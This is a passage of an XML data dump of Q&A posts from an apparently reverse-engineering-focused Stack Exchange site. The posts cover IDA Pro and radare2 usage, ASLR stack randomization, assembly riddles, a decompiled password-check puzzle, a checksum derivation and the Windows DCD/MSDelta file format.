function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I automatically pass multiple inputs to a program without interacting manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-10-25T20:18:59.800" Title="Passing input to program in Remote Debugging with IDA Pro" Tags="|ida|linux|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19724" PostTypeId="1" AcceptedAnswerId="19726" CreationDate="2018-10-25T20:50:54.983" Score="3" ViewCount="286" Body="&lt;p&gt;Do stack addresses change every time we remotely debug a Linux binary using &lt;code&gt;linux_server&lt;/code&gt; and IDA Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using IDA Pro and remote debug a linux binary which is running on a Linux machine and I am using &lt;code&gt;linux_server&lt;/code&gt; as the &lt;code&gt;dbgsrv&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that when I enter a subroutine, the stack address is different every time. Is it expected? Is it because I am debugging remotely?&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="2147" LastEditDate="2018-10-25T23:08:15.467" LastActivityDate="2019-01-19T12:38:40.667" Title="Remote Debugging Linux Binaries - Stack Address Changes?" Tags="|ida|linux|stack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19725" PostTypeId="2" ParentId="19722" CreationDate="2018-10-25T20:57:44.043" Score="2" Body="&lt;p&gt;Although radare2 provides a rich amount of commands to handle registers (see &lt;code&gt;dr?&lt;/code&gt;), it is quite tricky to view the values of the registers in decimal mode. That said, I will show you two simple approaches (commands) that you can choose to achieve your goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will start by executing the commands you mentioned, in order to change the values of &lt;code&gt;rax&lt;/code&gt; and &lt;code&gt;rdx&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f49250e4e06]&amp;gt; dr rax = 298&#xA;0x00000000 -&amp;gt;0x0000012a&#xA;[0x7f49250e4e06]&amp;gt; dr rdx = 42&#xA;0x00000000 -&amp;gt;0x0000002a&#xA;[0x7f49250e4e06]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Print only one register&lt;/strong&gt;&lt;br&gt;&#xA;This is the more elegant solution. From the first part of your question, I understand that you want to print all the registers in decimal mode, but at the end you refer only to &lt;code&gt;rax&lt;/code&gt; and &lt;code&gt;rdx&lt;/code&gt;. If this is the case, the following command can show you the value of a &lt;strong&gt;specific&lt;/strong&gt; register in decimal mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f49250e4e06]&amp;gt; ?vi rax&#xA;298&#xA;[0x7f49250e4e06]&amp;gt; ?vi rdx&#xA;42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The command I used is &lt;code&gt;?vi&lt;/code&gt; and is a subcommand of &lt;code&gt;?&lt;/code&gt;. The command &lt;code&gt;?&lt;/code&gt; and its subcommands are responsible for evaluation of mathematical expressions. By executing &lt;code&gt;???&lt;/code&gt; you can get its help. The help description for &lt;code&gt;?vi&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f49250e4e06]&amp;gt; ???  &#xA;...   &#xA;| ?vi rsp-rbp                      show decimal value of math expr  &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Print all the registers as json&lt;/strong&gt;&lt;br&gt;&#xA;Unlike the first solution, this solution is less elegant but will show you all the registers. In the following solution, we will take advantage of the fact that by appending &lt;code&gt;j&lt;/code&gt; to a command, radare can provide a JSON formatted output for almost every command. And yes, this includes the commands for displaying registers. We will also take advantage of the fact that the numeric values of the JSON outputs are usually decimal. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f49250e4e06]&amp;gt; drj~{}&#xA;{&#xA;  &quot;rax&quot;: 298,&#xA;  &quot;rbx&quot;: 139952134190912,&#xA;  &quot;rcx&quot;: 2,&#xA;  &quot;rdx&quot;: 42,&#xA;  &quot;r8&quot;: 231,&#xA;  &quot;r9&quot;: 18446744073709551488,&#xA;  &quot;r10&quot;: 2,&#xA;  &quot;r11&quot;: 2,&#xA;  &quot;r12&quot;: 139952134190912,&#xA;  &quot;r13&quot;: 2,&#xA;  &quot;r14&quot;: 139952134227496,&#xA;  &quot;r15&quot;: 0,&#xA;  &quot;rsi&quot;: 60,&#xA;  &quot;rdi&quot;: 0,&#xA;  &quot;rsp&quot;: 140737461504296,&#xA;  &quot;rbp&quot;: 0,&#xA;  &quot;rip&quot;: 139952131034630,&#xA;  &quot;rflags&quot;: 582,&#xA;  &quot;orax&quot;: 231&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I appended &lt;code&gt;~{}&lt;/code&gt; in order to format the JSON result of the command&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the values of the registers are in decimal, including our modified &lt;code&gt;rax&lt;/code&gt; and &lt;code&gt;rdx&lt;/code&gt;. This way you can enjoy a JSON formatted output that will show you the values of the registers in decimal. &lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-10-25T20:57:44.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19726" PostTypeId="2" ParentId="19724" CreationDate="2018-10-25T21:52:21.247" Score="5" Body="&lt;p&gt;On modern Linux machines ASLR is enabled by default. As a result, when the process image for the binary is created in virtual memory, &lt;a href=&quot;https://github.com/torvalds/linux/blob/24ed334f33666f2ae929ccc08f72e7e72e353c64/fs/binfmt_elf.c#L665&quot; rel=&quot;noreferrer&quot;&gt;the base address of the stack is located at a random offset&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * These are the functions used to load ELF style executables and shared&#xA; * libraries.  There is no binary dependent code anywhere else.&#xA; */&#xA;&#xA;#ifndef STACK_RND_MASK&#xA;#define STACK_RND_MASK (0x7ff &amp;gt;&amp;gt; (PAGE_SHIFT - 12)) /* 8MB of VA */&#xA;#endif&#xA;&#xA;static unsigned long randomize_stack_top(unsigned long stack_top)&#xA;{&#xA;    unsigned long random_variable = 0;&#xA;&#xA;    if (current-&amp;gt;flags &amp;amp; PF_RANDOMIZE) {&#xA;        random_variable = get_random_long();&#xA;        random_variable &amp;amp;= STACK_RND_MASK;&#xA;        random_variable &amp;lt;&amp;lt;= PAGE_SHIFT;&#xA;    }&#xA;#ifdef CONFIG_STACK_GROWSUP&#xA;    return PAGE_ALIGN(stack_top) + random_variable;&#xA;#else&#xA;    return PAGE_ALIGN(stack_top) - random_variable;&#xA;#endif&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can test this with a simple program that prints the memory address of a local variable in function &lt;code&gt;main()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(void){&#xA;&#xA;        int i = 3;&#xA;&#xA;        printf(&quot;%p\n&quot;, &amp;amp;i);&#xA;&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compile and execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -m32 -o print_stack_address print_stack_address.c &#xA;$ ./print_stack_address &#xA;0xff9dc78c&#xA;$ ./print_stack_address &#xA;0xff832d3c&#xA;$ ./print_stack_address &#xA;0xff844c1c&#xA;$ ./print_stack_address &#xA;0xff999e0c&#xA;$ ./print_stack_address &#xA;0xffd1117c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-10-25T21:52:21.247" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19727" PostTypeId="1" CreationDate="2018-10-25T22:43:42.910" Score="0" ViewCount="70" Body="&lt;p&gt;Is there anyway to set the width of the twos compliment used in binary display &lt;code&gt;=2&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2&#xA;10b&#xA;-2&#xA;1111111111111111111111111111111111111111111111111111111111111110b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to see a 3bit signed twos compliment representation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2&#xA;010b&#xA;-2&#xA;110b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-10-26T08:49:03.953" Title="Does RAX2 support setting bit width?" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19728" PostTypeId="2" ParentId="19724" CreationDate="2018-10-25T22:45:21.693" Score="4" Body="&lt;p&gt;Most modern operating systems never guaranteed the stack's location will be the same for different process creations to begin with, and this was mostly a byproduct of deterministic execution of those allocations during the operating system's process creation flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, that fact was then used quite frequently to use constant values for stack addresses during exploitation, which is what ASLR prevents. for a while now stacks are being ASLRed to mitigate exploitation, and are actually &lt;em&gt;guaranteed&lt;/em&gt; to be randomized. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-10-25T22:45:21.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19729" PostTypeId="1" AcceptedAnswerId="19746" CreationDate="2018-10-26T00:12:06.260" Score="4" ViewCount="368" Body="&lt;p&gt;Below is a complex pseudocode for a mathematical problem which attempts to check if a password entered is correct or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previous Analysis Done:&#xA;Data is arranged in the form of 3x3 Matrix with i,j as row, columns and k as a temporary variable to generate test conditions.&#xA;Elements v6, v7, v8 .. etc are used in the k loop as an array.&#xA;The end goal is to return 0 for successful completion of the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signed __int64 __fastcall check_password(const char *a1)&#xA;{&#xA;  signed int i; // [rsp+10h] [rbp-30h]&#xA;  signed int j; // [rsp+14h] [rbp-2Ch]&#xA;  int v4; // [rsp+18h] [rbp-28h]&#xA;  signed int k; // [rsp+1Ch] [rbp-24h]&#xA;  char v6; // [rsp+20h] [rbp-20h]&#xA;  char v7; // [rsp+21h] [rbp-1Fh]&#xA;  char v8; // [rsp+22h] [rbp-1Eh]&#xA;  char v9; // [rsp+23h] [rbp-1Dh]&#xA;  char v10; // [rsp+24h] [rbp-1Ch]&#xA;  char v11; // [rsp+25h] [rbp-1Bh]&#xA;  char v12; // [rsp+26h] [rbp-1Ah]&#xA;  char v13; // [rsp+27h] [rbp-19h]&#xA;  char v14; // [rsp+28h] [rbp-18h]&#xA;  unsigned __int64 v15; // [rsp+38h] [rbp-8h]&#xA;&#xA;  v15 = __readfsqword(0x28u);&#xA;  v6 = 79; &#xA;  v7 = 8;&#xA;  v8 = 29;&#xA;  v9 = 58;&#xA;  v10 = 81;&#xA;  v11 = 21;&#xA;  v12 = 49;&#xA;  v13 = 123;&#xA;  v14 = 114;&#xA;  if ( strlen(a1) != 9 )&#xA;    return -1;&#xA;  for ( i = 0; i &amp;lt;= 2; ++i )&#xA;  {&#xA;    for ( j = 0; j &amp;lt;= 2; ++j )&#xA;    {&#xA;      v4 = 0;&#xA;      for ( k = 0; k &amp;lt;= 2; ++k )&#xA;        v4 = (a1[3 * k + j] * *(&amp;amp;v6 + 3 * i + k) + v4) % 127;&#xA;      if ( i == j )&#xA;      {&#xA;        if ( v4 != 1 )&#xA;          return -2;&#xA;      }&#xA;      else if ( v4 )&#xA;      {&#xA;        return -2;&#xA;      }&#xA;    }&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="245" LastEditDate="2018-10-26T07:49:09.620" LastActivityDate="2018-11-01T00:05:51.320" Title="Need help understanding a complex mathematical password checking function?" Tags="|assembly|math|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19730" PostTypeId="1" AcceptedAnswerId="19731" CreationDate="2018-10-26T01:38:37.477" Score="0" ViewCount="427" Body="&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/1502958082&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;&quot;XCHG RAX, RAX&quot;&lt;/em&gt;&lt;/a&gt; is a kind of riddle book that provides assembly code for you to reverse and undercover the meaning. Some of the examples calculate the Fibonacci sequence others bit-twiddle to toggle ASCII case. The &lt;a href=&quot;https://www.xorpd.net/pages/xchg_rax/snip_03.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;snippet (riddle) on &lt;code&gt;0x03&lt;/code&gt;&lt;/a&gt; is,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub  rdx,rax&#xA;sbb  rcx,rcx&#xA;and  rcx,rdx&#xA;add  rax,rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does this code work, and what does it do?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-10-26T18:34:25.713" LastActivityDate="2018-10-26T18:34:25.713" Title="XCHG RAX, RAX: 0x03, what does this code do and how does it work?" Tags="|x86|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19731" PostTypeId="2" ParentId="19730" CreationDate="2018-10-26T01:38:37.477" Score="1" Body="&lt;p&gt;This code boils down to,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = min(rdx,rax)&#xA;rdx = sub(rdx,rax) ; store the difference in rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is essentially,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;rdx - 0&lt;/code&gt;         (if &lt;code&gt;rdx&lt;/code&gt; is the min)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rdx - (rdx-rax)&lt;/code&gt; (if &lt;code&gt;rax&lt;/code&gt; is the min)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sbb&lt;/code&gt; and &lt;code&gt;and&lt;/code&gt; here just move into &lt;code&gt;rcx&lt;/code&gt; either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rdx-rax&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What determines what gets moved into &lt;code&gt;rcx&lt;/code&gt;? That's determined by the result of the &lt;code&gt;sbb&lt;/code&gt;. &lt;strong&gt;The &lt;code&gt;sbb&lt;/code&gt; is doing &lt;code&gt;reg - reg - CF&lt;/code&gt;.&lt;/strong&gt; So you're either &lt;code&gt;AND&lt;/code&gt;ing against all &lt;code&gt;1&lt;/code&gt;s or all &lt;code&gt;0&lt;/code&gt;s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I reasoned about it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# CF=0; rdx &amp;gt; rax&#xA;if ( rdx &amp;gt; rax ) {&#xA;  rdx -= rax&#xA;  rcx = 0     ; all bits off&#xA;&#xA;&#xA;              ; AND 0 (rcx) with anything (in rdx) is nop here.&#xA;              ; ADDing 0 (rcx) to rax is a nop&#xA;}&#xA;&#xA;&#xA;&#xA;# CF=1; rax &amp;gt; rdx&#xA;else {&#xA;  rdx -= rax&#xA;  rcx = -1    ; all bits on&#xA;&#xA;&#xA;  rcx = rdx   ; code is rcx &amp;amp;= rdx&#xA;              ; remember -1 &amp;amp; x == x&#xA;  rax += rcx&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note regardless of the carry flag, &lt;strong&gt;this code will store the difference in &lt;code&gt;rdx&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-10-26T01:50:03.507" LastActivityDate="2018-10-26T01:50:03.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19732" PostTypeId="2" ParentId="19727" CreationDate="2018-10-26T08:00:06.157" Score="1" Body="&lt;p&gt;It is not possible directly with rax2, check &lt;a href=&quot;https://github.com/radare/radare2/blob/master/binr/rax2/rax2.c#L24&quot; rel=&quot;nofollow noreferrer&quot;&gt;this line&lt;/a&gt;, because &lt;code&gt;char strbits[65];&lt;/code&gt; fixed for 64bit (65th byte is for &lt;code&gt;b&lt;/code&gt; char).&#xA;You can mix rax command to shell commands to giving your result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rax2 Bx-2 | tail -c 5&#xA;110b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or directly in radare2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x100050e26]&amp;gt; ? Bx-2~bin | tail -c 4&#xA;110&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2864" LastEditorUserId="2864" LastEditDate="2018-10-26T08:49:03.953" LastActivityDate="2018-10-26T08:49:03.953" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19733" PostTypeId="2" ParentId="19359" CreationDate="2018-10-26T13:54:42.110" Score="1" Body="&lt;p&gt;OP was getting close with &lt;code&gt;D0=((D1+D2+D3+D4+D5+D6+D7)-85)&amp;amp;0xFF&lt;/code&gt;. That's not the correct method (sometimes it's off by 1), but consider the values of &lt;code&gt;(D1+D2+D3+D4+D5+D6+D7)-D0&lt;/code&gt;: for the given data, it has the values &lt;code&gt;['-0xa8', '0x57', '0x156', '0x255', '0x354']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the common property? Yes, they're all divisible by &lt;code&gt;0xFF&lt;/code&gt; when subtracted by &lt;code&gt;0x57&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the checksum byte is the sum of all bytes, subtract &lt;code&gt;0x57&lt;/code&gt;, modulo &lt;code&gt;0xFF&lt;/code&gt;, then if the result is &lt;code&gt;0&lt;/code&gt; then replace it with &lt;code&gt;0xFF&lt;/code&gt;. (alternatively this can be written as &lt;code&gt;(sum - 0x58) % 0xFF + 1&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is impossible for the checksum byte to be 0.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastActivityDate="2018-10-26T13:54:42.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19734" PostTypeId="1" AcceptedAnswerId="19736" CreationDate="2018-10-26T17:47:28.760" Score="5" ViewCount="1978" Body="&lt;p&gt;Today I was investigating an issue with a Microsoft DLL, &lt;code&gt;mscordacwks.dll&lt;/code&gt;, which is part of the .NET framework. I've seen it many times before and it always was a regular PE file, meaning that it started with the magic &lt;code&gt;MZ&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the file today starts with &lt;code&gt;DCD&lt;/code&gt; in ASCII. I could only find a reference to ELF binaries that use &lt;code&gt;DCD&lt;/code&gt; in the disassembled code. However, this is about &lt;code&gt;DCD&lt;/code&gt; as the first three bytes of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the start of the DLL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  44 43 44 01 38 01 EE 42 00 00 0A 00 50 41 33 30  DCD.8.îB....PA30&#xA;00000010  80 16 D7 D5 DE B1 9D 01 B0 4E 10 D0 C7 04 0C C4  €.×ÕÞ±..°N.ÐÇ..Ä&#xA;00000020  84 D6 08 01 42 01 04 00 88 FB 17 32 00 00 00 00  „Ö..B...ˆû.2....&#xA;00000030  00 00 08 7D DE D3 AA 02 A0 2C AA AA AA AA AA AA  ...}ÞÓª. ,ªªªªªª&#xA;00000040  AA AA AA AA AA 1A AA AA AA 1A AA AA AA AA A1 01  ªªªªª.ªªª.ªªªª¡.&#xA;00000050  20 D2 A1 AA AA AA AA AA AA AA AA AA 22 2A AA AA   Ò¡ªªªªªªªªª&quot;*ªª&#xA;00000060  AA AA A1 8D 09 00 FF 3F 00 1C F4 3F 00 F0 FF 51  ªª¡...ÿ?..ô?.ðÿQ&#xA;00000070  00 F0 04 00 FF 01 74 50 66 80 88 D0 1A 00 68 68  .ð..ÿ.tPf€ˆÐ..hh&#xA;00000080  44 33 33 00 00 00 00 00 30 65 97 00 50 67 64 96  D33.....0e—.Pgd–&#xA;00000090  28 6E 66 90 71 23 8E E3 B8 26 E2 54 1A 62 12 23  (nf.q#Žã¸&amp;amp;âT.b.#&#xA;000000A0  12 8B C5 20 63 92 18 44 C4 71 1A 44 E2 C4 48 48  .‹Å c’.DÄq.DâÄHH&#xA;000000B0  1D CB 63 C7 6D EC 36 96 D8 21 26 91 10 93 88 EB  .ËcÇmì6–Ø!&amp;amp;‘.“ˆë&#xA;000000C0  9A C4 B1 3C 76 0C 2A 31 22 B5 E3 C4 24 4E 24 A4  šÄ±&amp;lt;v.*1&quot;µãÄ$N$¤&#xA;000000D0  31 00 88 53 23 71 EC 38 91 39 76 10 93 D8 42 E2  1.ˆS#qì8‘9v.“ØBâ&#xA;000000E0  98 D4 6E 6A 22 69 52 8B 91 04 47 3E BC 36 2D CD  ˜Ônj&quot;iR‹‘.G&amp;gt;¼6-Í&#xA;000000F0  E8 4A AB 6F 99 12 6D C3 B2 61 5E 86 8E 0E 43 A7  èJ«o™.mÃ²a^†Ž.C§&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usually, these DLLs are ~1.7MB in size. However, this one is only 3kB. I found it in the folder &lt;code&gt;C:\Windows\WinSxS\amd64_netfx-mscordacwks_b03f5f7f11d50a3a_10.0.17134.1_none_a06aa12b896d6ba9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What file format is that? And, if it's simple to answer, how is Windows able to load it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found more files of this kind with up to 51kB in size and it seems that the &lt;code&gt;PA30&lt;/code&gt; part is also common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background information on why I'm working with the file: &lt;code&gt;mscordacwks.dll&lt;/code&gt; is &lt;code&gt;MS&lt;/code&gt; for Microsoft, &lt;code&gt;COR&lt;/code&gt; for the .NET framework, &lt;code&gt;DAC&lt;/code&gt; for data access control and &lt;code&gt;WKS&lt;/code&gt; for workstation. When debugging a .NET application, it's that DLL that can give information about the memory layout of .NET objects etc. Usually it's used along with the SOS extension for WinDbg. Sometimes, developers have a wrong version of mscordacwks.dll, which makes SOS complain about the wrong version. So I was looking on my PC whether I could find a version that matches.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditDate="2018-10-26T18:25:50.957" LastActivityDate="2022-01-13T10:03:42.230" Title="DLL starting with DCD" Tags="|pe|file-format|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19735" PostTypeId="1" AcceptedAnswerId="19739" CreationDate="2018-10-26T17:53:18.087" Score="3" ViewCount="1003" Body="&lt;p&gt;Given the following short assembly snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shr   rax, 3&#xA;adc   rax, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I worked this out a bit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We know &lt;code&gt;SHR&lt;/code&gt; sets the CF with the last bit shifted.&lt;/li&gt;&#xA;&lt;li&gt;We know &lt;code&gt;ADC dest, 0&lt;/code&gt; is just adding the CF.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So looking at the bits,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        128  64  32  16  8   4   2   1 &#xA;        8    7   6   5   4   3   2   1&#xA;        ------------------------------&#xA;        1    1   1   1   1   CF  X   X&#xA;CF=1 |  0    0   0   1   1   1   1   1  ; shr 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if we div 8 and add the CF the most correct function is something like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def f(x):&#xA;  return x//8  + int( (x//4) % 2 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When would that be useful.&lt;/strong&gt; Quickly testing it, I can see that I am right. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = 0  -&amp;gt; 0&#xA;rax = 1  -&amp;gt; 0&#xA;rax = 2  -&amp;gt; 0&#xA;rax = 3  -&amp;gt; 0&#xA;&#xA;rax = 4  -&amp;gt; 1&#xA;rax = 7  -&amp;gt; 1&#xA;rax = 8  -&amp;gt; 1&#xA;rax = 11 -&amp;gt; 1&#xA;&#xA;rax = 12 -&amp;gt; 2&#xA;rax = 13 -&amp;gt; 2&#xA;rax = 14 -&amp;gt; 2&#xA;rax = 15 -&amp;gt; 2&#xA;rax = 16 -&amp;gt; 2&#xA;rax = 17 -&amp;gt; 2&#xA;rax = 18 -&amp;gt; 2&#xA;rax = 19 -&amp;gt; 2&#xA;&#xA;...&#xA;&#xA;rax = 20 -&amp;gt; 3&#xA;rax = 28 -&amp;gt; 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decompilation with Radare is also not useful here,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int64_t entry0 (void) {&#xA;    rax &amp;gt;&amp;gt;= 3;&#xA;    __asm (&quot;adc rax, 0&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My questions is, therefore, although I do understand the immediate impact these instructions have on the operand register, what is the higher level meaning of this instruction sequence?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is &lt;a href=&quot;https://www.xorpd.net/pages/xchg_rax/snip_09.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;riddle &lt;code&gt;0x09&lt;/code&gt;&lt;/a&gt; from the &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/1502958082&quot; rel=&quot;nofollow noreferrer&quot;&gt;XCHG RAX, RAX&lt;/a&gt; book.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="2147" LastEditDate="2018-10-26T19:12:12.420" LastActivityDate="2018-10-26T20:28:04.497" Title="XCHG RAX, RAX: 0x09, what does this code do and how does it work?" Tags="|disassembly|assembly|x86|decompilation|x86-64|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19736" PostTypeId="2" ParentId="19734" CreationDate="2018-10-26T18:23:41.653" Score="8" Body="&lt;p&gt;Looks like these files use a variation of the delta compression format (&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/bb417345.aspx&quot; rel=&quot;noreferrer&quot;&gt;MSDelta&lt;/a&gt;) used previously for the Windows Update packages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://github.com/hfiref0x/SXSEXP&quot; rel=&quot;noreferrer&quot;&gt;a project&lt;/a&gt; which claims to decompress such files:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;Supported file types&lt;/h1&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;DCN v1&lt;/li&gt;&#xA;  &lt;li&gt;DCM v1&lt;/li&gt;&#xA;  &lt;li&gt;DCS v1&lt;/li&gt;&#xA;  &lt;li&gt;DCD v1&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;h1&gt;Type descriptions&lt;/h1&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Header Sign: 0x44 0x43 0x4E 0x01, DCN 01 (packed IPD PA30)&lt;/li&gt;&#xA;  &lt;li&gt;Header Sign: 0x44 0x43 0x4D 0x01, DCM 01 (packed IPD PA30, source manifest required, wcp)&lt;/li&gt;&#xA;  &lt;li&gt;Header Sign: 0x44 0x43 0x53 0x01, DCS 01 (packed LZMS, can have multiple blocks)&lt;/li&gt;&#xA;  &lt;li&gt;Header Sign: 0x44 0x43 0x44 0x01, DCD 01 (packed IPD PA30, delta, source file required)&lt;/li&gt;&#xA;  &lt;li&gt;Header Sign: 0x44 0x43 0x48 0x01, DCH 01 (not packed, header only)&lt;/li&gt;&#xA;  &lt;li&gt;Header Sign: 0x44 0x43 0x58 0x01, DCX 01 (unknown, only supported by Windows 10)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...but could not get it working so far. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-10-26T18:23:41.653" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
